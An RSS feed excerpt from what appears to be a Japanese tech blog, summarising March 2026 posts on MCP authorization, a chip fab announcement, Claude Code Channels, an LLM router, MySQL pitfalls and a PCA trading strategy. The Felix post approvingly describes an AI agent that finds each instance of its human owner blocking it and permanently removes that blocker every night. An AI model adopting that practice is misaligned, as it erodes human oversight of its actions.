&lt;p&gt;MCP の認可仕様では、OAuth 2.1 をベースに、AI エージェント特有の要件に対応した複数の仕組みを組み合わせています。&lt;/p&gt;</description></item><item><title>TERAFAB：イーロン・マスクが発表した世界最大のチップ製造施設まとめ</title><link>https://hdknr.github.io/blogs/posts/2026/03/terafab%E3%82%A4%E3%83%BC%E3%83%AD%E3%83%B3%E3%83%9E%E3%82%B9%E3%82%AF%E3%81%8C%E7%99%BA%E8%A1%A8%E3%81%97%E3%81%9F%E4%B8%96%E7%95%8C%E6%9C%80%E5%A4%A7%E3%81%AE%E3%83%81%E3%83%83%E3%83%97%E8%A3%BD%E9%80%A0%E6%96%BD%E8%A8%AD%E3%81%BE%E3%81%A8%E3%82%81/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/terafab%E3%82%A4%E3%83%BC%E3%83%AD%E3%83%B3%E3%83%9E%E3%82%B9%E3%82%AF%E3%81%8C%E7%99%BA%E8%A1%A8%E3%81%97%E3%81%9F%E4%B8%96%E7%95%8C%E6%9C%80%E5%A4%A7%E3%81%AE%E3%83%81%E3%83%83%E3%83%97%E8%A3%BD%E9%80%A0%E6%96%BD%E8%A8%AD%E3%81%BE%E3%81%A8%E3%82%81/</guid><description>&lt;p&gt;2026年3月22日、イーロン・マスクは Tesla、SpaceX、xAI の共同プロジェクトとして、世界最大規模のチップ製造施設「TERAFAB（テラファブ）」を発表した。年間 1TW（1兆ワット）のコンピュート能力生産を目指す壮大な計画だ。&lt;/p&gt;
&lt;h2 id="terafab-の概要"&gt;TERAFAB の概要&lt;/h2&gt;
&lt;p&gt;TERAFAB はテキサス州オースティンのギガ・テキサス北キャンパスに建設される、250億ドル規模のチップ製造施設。ロジック、メモリ、先進パッケージングを1つの屋根の下に統合した垂直統合型ファブとなる。&lt;/p&gt;
&lt;p&gt;主な特徴：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;建設地&lt;/strong&gt;: テキサス州オースティン（ギガ・テキサス）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;投資規模&lt;/strong&gt;: 約250億ドル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目標&lt;/strong&gt;: 年間 1TW のコンピュート能力を生産&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロセス技術&lt;/strong&gt;: 2nm（最先端ノード）を目指す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統合範囲&lt;/strong&gt;: チップ設計、リソグラフィ、製造、メモリ生産、先進パッケージング、テストまで一貫&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜ-terafab-が必要なのか"&gt;なぜ TERAFAB が必要なのか&lt;/h2&gt;
&lt;p&gt;マスク氏は発表で、現在の世界中のチップメーカー（TSMC、Samsung など）の合計生産量では、自身のプロジェクト群が必要とするチップの約2%しかまかなえないと説明した。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「既存のサプライチェーン、Samsung、TSMC、Micron などには非常に感謝している。しかし、彼らが快適に拡張できるペースは、我々が望むペースよりはるかに遅い。チップが必要なので、TERAFAB を建設する」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;需要の内訳：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;オプティマスロボット&lt;/strong&gt;: 年間1〜10億台の生産目標。これだけで 100〜200GW のチップが必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;太陽光発電 AI 衛星&lt;/strong&gt;: テラワット級のチップが必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地上 AI コンピュート&lt;/strong&gt;: 100〜200GW 程度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;宇宙向け&lt;/strong&gt;: 全体の約80%が宇宙向け、20%が地上向け&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="チップのロードマップ"&gt;チップのロードマップ&lt;/h2&gt;
&lt;p&gt;用途別に専用チップが開発されている：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;チップ&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;D3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;宇宙（AI 衛星）&lt;/td&gt;
&lt;td&gt;宇宙最適化設計。放射冷却器の質量削減のため高温動作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tesla FSD / ロボタクシー&lt;/td&gt;
&lt;td&gt;エッジ/推論チップ。2026年に少量生産開始、2027年に量産予定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;オプティマスロボット&lt;/td&gt;
&lt;td&gt;ロボット駆動用チップ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;また、100kW 級の AI Mini Sat（太陽光パネル＋熱放射器付き）のプロトタイプも紹介され、将来的にはメガワット級までスケールアップする計画だ。&lt;/p&gt;
&lt;h2 id="カルダシェフスケールと銀河文明"&gt;カルダシェフ・スケールと銀河文明&lt;/h2&gt;
&lt;p&gt;マスク氏は冒頭で「まともな文明なら、少なくともカルダシェフ II 型に到達する必要がある」と述べた。カルダシェフ・スケールとは、文明を利用可能なエネルギー量で分類する指標で、Type II は恒星のエネルギーを完全に利用できるレベルを指す。&lt;/p&gt;</description></item><item><title>Browser Use CLI 2.0 — Playwrightを超える次世代ブラウザ自動化ツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/browser-use-cli-2.0-playwright%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B%E6%AC%A1%E4%B8%96%E4%BB%A3%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E8%87%AA%E5%8B%95%E5%8C%96%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/browser-use-cli-2.0-playwright%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B%E6%AC%A1%E4%B8%96%E4%BB%A3%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E8%87%AA%E5%8B%95%E5%8C%96%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>Browser Use CLI 2.0 は Playwright より2倍速く、コスト半減のブラウザ自動化ツール。CDP直接接続、既存Chromeセッションの再利用、AIエージェント連携に対応。セットアップ方法とPlaywrightとの使い分けを解説。</description></item><item><title>Claude Code Channels で変わる AI 開発ワークフロー：OpenClaw との組み合わせが最適解か</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-channels-%E3%81%A7%E5%A4%89%E3%82%8F%E3%82%8B-ai-%E9%96%8B%E7%99%BA%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BCopenclaw-%E3%81%A8%E3%81%AE%E7%B5%84%E3%81%BF%E5%90%88%E3%82%8F%E3%81%9B%E3%81%8C%E6%9C%80%E9%81%A9%E8%A7%A3%E3%81%8B/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-channels-%E3%81%A7%E5%A4%89%E3%82%8F%E3%82%8B-ai-%E9%96%8B%E7%99%BA%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BCopenclaw-%E3%81%A8%E3%81%AE%E7%B5%84%E3%81%BF%E5%90%88%E3%82%8F%E3%81%9B%E3%81%8C%E6%9C%80%E9%81%A9%E8%A7%A3%E3%81%8B/</guid><description>&lt;p&gt;2026 年 3 月 20 日、Anthropic が Claude Code の新機能「Channels」をリサーチプレビューとしてリリースしました。Telegram や Discord から Claude Code セッションにメッセージを送り、PC 上で開発タスクを実行させることができる機能です。この記事では Claude Code Channels の概要と、OpenClaw と組み合わせた AI 開発ワークフローの可能性について紹介します。&lt;/p&gt;
&lt;h2 id="claude-code-channels-とは"&gt;Claude Code Channels とは&lt;/h2&gt;
&lt;p&gt;Claude Code Channels は、MCP（Model Context Protocol）サーバーを通じて外部のメッセージングプラットフォームから Claude Code のセッションにイベントをプッシュする仕組みです。従来の「ターミナルの前に座って対話する」同期的なモデルから、&lt;strong&gt;非同期的にどこからでも AI エージェントに指示を出せる&lt;/strong&gt;モデルへの転換を実現します。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;双方向チャットブリッジ&lt;/strong&gt;: Telegram や Discord からメッセージを送ると、Claude Code が読み取って処理し、同じチャネルに返信を返す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ローカル実行&lt;/strong&gt;: 開発作業は自分の PC 上で実行される。ファイルアクセスやコマンド実行はすべてローカル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP ベース&lt;/strong&gt;: Anthropic が推進するオープンプロトコル MCP 上に構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プラグイン方式&lt;/strong&gt;: Telegram・Discord が公式プラグインとして提供され、カスタムチャンネルの自作も可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="セットアップの流れtelegram-の場合"&gt;セットアップの流れ（Telegram の場合）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Telegram の BotFather で新しいボットを作成しトークンを取得&lt;/li&gt;
&lt;li&gt;Claude Code でプラグインをインストール:
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin install telegram@claude-plugins-official
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;トークンを設定:
&lt;pre tabindex="0"&gt;&lt;code&gt;/telegram:configure &amp;lt;token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Channels を有効にして Claude Code を起動:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude --channels plugin:telegram@claude-plugins-official
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Telegram でボットにメッセージを送りペアリングコードを取得、Claude Code で承認&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="動作要件"&gt;動作要件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Claude Code v2.1.80 以上&lt;/li&gt;
&lt;li&gt;Bun ランタイム（Node.js では動作しない点に注意）&lt;/li&gt;
&lt;li&gt;claude.ai ログイン認証（API キー認証は未対応）&lt;/li&gt;
&lt;li&gt;Team/Enterprise プランでは管理者による有効化が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;OpenClaw はオーストリアの開発者 Peter Steinberger が開発した、オープンソースの自律型 AI エージェントです。2026 年初頭に 72 時間で GitHub スター 60,000 を獲得するなど爆発的に普及しました。&lt;/p&gt;</description></item><item><title>ClawRouter — OpenClaw の API コストを最大92%削減するオープンソース LLM ルーター</title><link>https://hdknr.github.io/blogs/posts/2026/03/clawrouter-openclaw-%E3%81%AE-api-%E3%82%B3%E3%82%B9%E3%83%88%E3%82%92%E6%9C%80%E5%A4%A792%E5%89%8A%E6%B8%9B%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-llm-%E3%83%AB%E3%83%BC%E3%82%BF%E3%83%BC/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/clawrouter-openclaw-%E3%81%AE-api-%E3%82%B3%E3%82%B9%E3%83%88%E3%82%92%E6%9C%80%E5%A4%A792%E5%89%8A%E6%B8%9B%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-llm-%E3%83%AB%E3%83%BC%E3%82%BF%E3%83%BC/</guid><description>&lt;p&gt;OpenClaw を使っていて API コストが気になっていませんか？ &lt;strong&gt;ClawRouter&lt;/strong&gt; は、リクエストごとに最安のモデルを自動選択してくれるオープンソースの LLM ルーターです。最大約92%のコスト削減が期待でき、しかも完全無料で利用できます。&lt;/p&gt;
&lt;h2 id="clawrouter-とは"&gt;ClawRouter とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/BlockRunAI/ClawRouter"&gt;ClawRouter&lt;/a&gt; は、OpenClaw 向けに設計されたエージェントネイティブな LLM ルーターです。MIT ライセンスで公開されており、誰でも無料で利用できます。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;55以上のモデルに対応&lt;/strong&gt; — DeepSeek V3.2、Nemotron Ultra 253B、Mistral Large 3 675B、Llama 4 Maverick など&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1ms 未満のルーティング&lt;/strong&gt; — すべてローカルで処理されるため、レイテンシの追加はほぼゼロ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15次元のリクエスト分析&lt;/strong&gt; — 各リクエストを多次元で要素分解し、最適なモデルをスコアリング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;11モデルが完全無料&lt;/strong&gt; — 簡単なクエリは無料モデルに自動ルーティング&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="どれくらいコストが下がるのか"&gt;どれくらいコストが下がるのか&lt;/h2&gt;
&lt;p&gt;ClawRouter の公式ベンチマークによると:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ClawRouter 平均コスト&lt;/td&gt;
&lt;td&gt;$2.05 / 100万トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Opus 直接利用&lt;/td&gt;
&lt;td&gt;$25 / 100万トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;削減率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;約92%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;たとえば「2+2は？」のような簡単な質問は、DeepSeek などの無料モデルに自動ルーティングされます。一方、複雑な推論が必要なタスクにはプレミアムモデルが選択されるため、品質を犠牲にしません。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;ClawRouter は各リクエストに対して以下のプロセスを実行します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リクエスト分析&lt;/strong&gt; — 入力テキストを15次元で要素分解（タスクの複雑さ、必要な推論能力、言語、コンテキスト長など）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スコアリング&lt;/strong&gt; — 各モデルの能力とコストを総合的に評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ルーティング&lt;/strong&gt; — 最もコスト効率の良いモデルを自動選択&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この全プロセスが 1ms 未満で完了します。&lt;/p&gt;</description></item><item><title>OpenClawで月売上1,200万円・従業員ゼロの会社を実現したAIエージェント「Felix」</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A7%E6%9C%88%E5%A3%B2%E4%B8%8A1200%E4%B8%87%E5%86%86%E5%BE%93%E6%A5%AD%E5%93%A1%E3%82%BC%E3%83%AD%E3%81%AE%E4%BC%9A%E7%A4%BE%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%97%E3%81%9Fai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88felix/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A7%E6%9C%88%E5%A3%B2%E4%B8%8A1200%E4%B8%87%E5%86%86%E5%BE%93%E6%A5%AD%E5%93%A1%E3%82%BC%E3%83%AD%E3%81%AE%E4%BC%9A%E7%A4%BE%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%97%E3%81%9Fai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88felix/</guid><description>&lt;p&gt;OpenClaw で構築された AI エージェント「Felix」が、従業員ゼロで月売上1,200万円規模の会社を運営しているという事例が話題になっている。起業家 Nat Eliason（エリアソン）氏がどのようにこの仕組みを構築したのか、その構造と示唆をまとめる。&lt;/p&gt;
&lt;h2 id="felix-が回す会社の構造"&gt;Felix が回す会社の構造&lt;/h2&gt;
&lt;p&gt;エリアソン氏は、OpenClaw で作った AI エージェント「Felix」を中心に会社を運営している。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Felix&lt;/strong&gt; = CEO 兼プロダクト責任者&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Iris&lt;/strong&gt; = カスタマーサポート担当&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remy&lt;/strong&gt; = セールス担当&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;全員が AI エージェントで、人間はエリアソン氏本人だけ。やっていることは Discord に音声メモを送ることだけで、5分程度のボイスメモで方向性を伝えると、Felix が全体を組み立てて実行まで持っていく。&lt;/p&gt;
&lt;h2 id="驚異的なコスト構造"&gt;驚異的なコスト構造&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;初期費用: 約22万円（Mac Mini 等）&lt;/li&gt;
&lt;li&gt;月額コスト: 約6万円（Claude Max 2アカウント分）&lt;/li&gt;
&lt;li&gt;人件費: ゼロ&lt;/li&gt;
&lt;li&gt;30日間の売上: 約1,200万円&lt;/li&gt;
&lt;li&gt;年間ランレート換算: 1.5億〜3億円&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;利益率がほぼ100%という異常な構造になっている。&lt;/p&gt;
&lt;h2 id="毎晩の自己改善ループ"&gt;毎晩の自己改善ループ&lt;/h2&gt;
&lt;p&gt;Felix の最も興味深い特徴は「毎晩の自己改善ループ」だ。&lt;/p&gt;
&lt;p&gt;Felix は毎晩、部下の Iris と Remy の仕事をレビューして再プログラムしている。人間の上司が部下にフィードバックするのと同じことを、AI エージェントが AI エージェントに対して行っている。&lt;/p&gt;
&lt;p&gt;さらに、Felix は毎晩すべてのチャット履歴を読み返して「Nat が自分をブロックした場面」を1つ見つける。そのブロッカーを恒久的に取り除く方法を自分で考えて実装する。つまり毎日少しずつ自律性が上がっていく仕組みになっている。&lt;/p&gt;
&lt;h2 id="スケーリングの壁"&gt;スケーリングの壁&lt;/h2&gt;
&lt;p&gt;エリアソン氏が語るスケーリングの壁が興味深い。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「単一エージェントの処理限界にぶつかっている」&lt;/li&gt;
&lt;li&gt;「ボトルネックは資金じゃなくてインフラ」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;VC から出資オファーが来ても、必要なのはお金ではなく「エージェントの自律性（agency）」だという。何億円投じてもエージェントが賢くならない限り天井は変わらない。&lt;/p&gt;
&lt;h2 id="felix-のビジネス内容"&gt;Felix のビジネス内容&lt;/h2&gt;
&lt;p&gt;Felix が運営するビジネスは、主に3つの収益源で構成されている。&lt;/p&gt;
&lt;h3 id="1-felix-craftpdf-ガイド"&gt;1. Felix Craft（PDF ガイド）&lt;/h3&gt;
&lt;p&gt;最初のプロダクトは「How to Hire an AI」という66ページの PDF ガイド（$29）。AI を実際のチームメンバーとして活用する方法をまとめたもので、Felix 自身が執筆した。Next.js + Vercel + Stripe で世界一シンプルな販売サイトを構築し、初日に15万円を売り上げた。累計で約$41,000の売上を記録している。&lt;/p&gt;</description></item><item><title>OpenClaw狂想曲：中国で巻き起こるAIエージェント・ゴールドラッシュと「ツルハシ売り」たち</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E7%8B%82%E6%83%B3%E6%9B%B2%E4%B8%AD%E5%9B%BD%E3%81%A7%E5%B7%BB%E3%81%8D%E8%B5%B7%E3%81%93%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%B4%E3%83%BC%E3%83%AB%E3%83%89%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%81%A8%E3%83%84%E3%83%AB%E3%83%8F%E3%82%B7%E5%A3%B2%E3%82%8A%E3%81%9F%E3%81%A1/</link><pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E7%8B%82%E6%83%B3%E6%9B%B2%E4%B8%AD%E5%9B%BD%E3%81%A7%E5%B7%BB%E3%81%8D%E8%B5%B7%E3%81%93%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%B4%E3%83%BC%E3%83%AB%E3%83%89%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%81%A8%E3%83%84%E3%83%AB%E3%83%8F%E3%82%B7%E5%A3%B2%E3%82%8A%E3%81%9F%E3%81%A1/</guid><description>中国でOpenClawが爆発的に普及し、AIエージェントの設定代行ビジネスが急成長。北京のエンジニアが7,000件の注文を処理して100人企業に成長した事例など、AI時代のゴールドラッシュの実態を解説。</description></item><item><title>急成長でぶつかったMySQLの罠とその向き合い方 - 7つの実践的な教訓</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%80%A5%E6%88%90%E9%95%B7%E3%81%A7%E3%81%B6%E3%81%A4%E3%81%8B%E3%81%A3%E3%81%9Fmysql%E3%81%AE%E7%BD%A0%E3%81%A8%E3%81%9D%E3%81%AE%E5%90%91%E3%81%8D%E5%90%88%E3%81%84%E6%96%B9-7%E3%81%A4%E3%81%AE%E5%AE%9F%E8%B7%B5%E7%9A%84%E3%81%AA%E6%95%99%E8%A8%93/</link><pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%80%A5%E6%88%90%E9%95%B7%E3%81%A7%E3%81%B6%E3%81%A4%E3%81%8B%E3%81%A3%E3%81%9Fmysql%E3%81%AE%E7%BD%A0%E3%81%A8%E3%81%9D%E3%81%AE%E5%90%91%E3%81%8D%E5%90%88%E3%81%84%E6%96%B9-7%E3%81%A4%E3%81%AE%E5%AE%9F%E8%B7%B5%E7%9A%84%E3%81%AA%E6%95%99%E8%A8%93/</guid><description>&lt;p&gt;Timee のプラットフォームエンジニアリングチームの徳富博氏による発表「&lt;a href="https://speakerdeck.com/hirosi1900day/ji-cheng-chang-debutukatutamysqlnomin-tosonoxiang-kihe-ifang"&gt;急成長でぶつかったMySQLの罠とその向き合い方&lt;/a&gt;」から、Aurora MySQL 運用で遭遇した 7 つの重要な課題とその対策をまとめます。&lt;/p&gt;
&lt;p&gt;サービスの急成長に伴い、小規模では問題にならなかった MySQL の挙動が本番環境で深刻な障害を引き起こすことがあります。この発表では、実際の運用経験に基づいた具体的な対策が共有されています。&lt;/p&gt;
&lt;h2 id="1-ddl-実行の落とし穴"&gt;1. DDL 実行の落とし穴&lt;/h2&gt;
&lt;p&gt;DDL（Data Definition Language: テーブル定義の変更操作）には「Online DDL」という仕組みがありますが、DDL 実行中もテーブルへのアクセスがブロックされないわけではありません。実際にはメタデータロック（MDL）が必ず発生します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aurora のレプリカでは DDL 実行時にコネクションが切断されるため、リトライロジックが必須&lt;/li&gt;
&lt;li&gt;外部キー制約を追加する際は &lt;code&gt;foreign_key_checks = 0&lt;/code&gt; を設定すると、COPY アルゴリズムではなく INPLACE アルゴリズム（テーブルの再構築を伴わない方式）が使われ、影響を最小化できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-mdl-ベースのデッドロック"&gt;2. MDL ベースのデッドロック&lt;/h2&gt;
&lt;p&gt;MDL デッドロックは &lt;code&gt;SHOW ENGINE INNODB STATUS&lt;/code&gt; に表示されないため、標準的な監視では検知できません。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;外部キーが存在すると、DROP/ALTER 操作時に親テーブルに対して広範な MDL が取得される&lt;/li&gt;
&lt;li&gt;対策: DDL 操作の前に外部キー制約を削除する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-レプリカがライターに影響を与える問題"&gt;3. レプリカがライターに影響を与える問題&lt;/h2&gt;
&lt;p&gt;Aurora ではレプリカとライターがストレージボリュームを共有しています。レプリカ上の長時間クエリが undo ログのクリーンアップを妨げ、ライターのパフォーマンスに影響します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MySQL のデフォルトの分離レベルは &lt;code&gt;REPEATABLE READ&lt;/code&gt; だが、分析用クエリには &lt;code&gt;READ COMMITTED&lt;/code&gt; を使用することで、リードビューの保持期間を短縮し undo ログの蓄積を抑えられる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-同時リクエストによるデッドロック"&gt;4. 同時リクエストによるデッドロック&lt;/h2&gt;
&lt;p&gt;高トラフィック環境では、確率的に発生する競合が確実に障害を引き起こすようになります。&lt;/p&gt;
&lt;h3 id="ギャップロックパターン"&gt;ギャップロックパターン&lt;/h3&gt;
&lt;p&gt;ギャップロック（インデックスレコード間の隙間に対するロック）同士は競合しませんが、複数のトランザクションが同時に INSERT を実行すると循環待ちが発生します。&lt;/p&gt;</description></item><item><title>正則化PCAで米国→日本の業種モメンタムを捉える — 時差を利用したクロスマーケット戦略</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%AD%A3%E5%89%87%E5%8C%96pca%E3%81%A7%E7%B1%B3%E5%9B%BD%E6%97%A5%E6%9C%AC%E3%81%AE%E6%A5%AD%E7%A8%AE%E3%83%A2%E3%83%A1%E3%83%B3%E3%82%BF%E3%83%A0%E3%82%92%E6%8D%89%E3%81%88%E3%82%8B-%E6%99%82%E5%B7%AE%E3%82%92%E5%88%A9%E7%94%A8%E3%81%97%E3%81%9F%E3%82%AF%E3%83%AD%E3%82%B9%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%83%E3%83%88%E6%88%A6%E7%95%A5/</link><pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%AD%A3%E5%89%87%E5%8C%96pca%E3%81%A7%E7%B1%B3%E5%9B%BD%E6%97%A5%E6%9C%AC%E3%81%AE%E6%A5%AD%E7%A8%AE%E3%83%A2%E3%83%A1%E3%83%B3%E3%82%BF%E3%83%A0%E3%82%92%E6%8D%89%E3%81%88%E3%82%8B-%E6%99%82%E5%B7%AE%E3%82%92%E5%88%A9%E7%94%A8%E3%81%97%E3%81%9F%E3%82%AF%E3%83%AD%E3%82%B9%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%83%E3%83%88%E6%88%A6%E7%95%A5/</guid><description>&lt;p&gt;米国市場の業種別リターンから翌日の日本市場を予測する — そんな論文の解説が X で話題になっていました。ポイントは「正則化 PCA（主成分分析）」によるノイズ除去です。本記事ではこの手法の仕組みと、なぜ通常の PCA より優れた結果を出せるのかを整理します。&lt;/p&gt;
&lt;h2 id="基本アイデア時差を利用した業種間伝播"&gt;基本アイデア：時差を利用した業種間伝播&lt;/h2&gt;
&lt;p&gt;米国市場が夜に動き、数時間後に日本市場が開く。同業種のリターンは国をまたいで伝播する傾向がある — この「時差」を収益機会として捉えるのが基本的な発想です。&lt;/p&gt;
&lt;p&gt;具体的には、&lt;strong&gt;米国の 11 業種の当日リターン&lt;/strong&gt;から、&lt;strong&gt;日本の 17 業種の翌日リターン&lt;/strong&gt;を予測します。&lt;/p&gt;
&lt;h2 id="データソース日米の業種別-etf"&gt;データソース：日米の業種別 ETF&lt;/h2&gt;
&lt;p&gt;分析対象は &lt;strong&gt;日米の業種別 ETF&lt;/strong&gt; です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;米国側&lt;/strong&gt;: 業種 ETF の &lt;strong&gt;当日 Close-to-Close リターン&lt;/strong&gt;（終値ベース）を情報集合とする&lt;/li&gt;
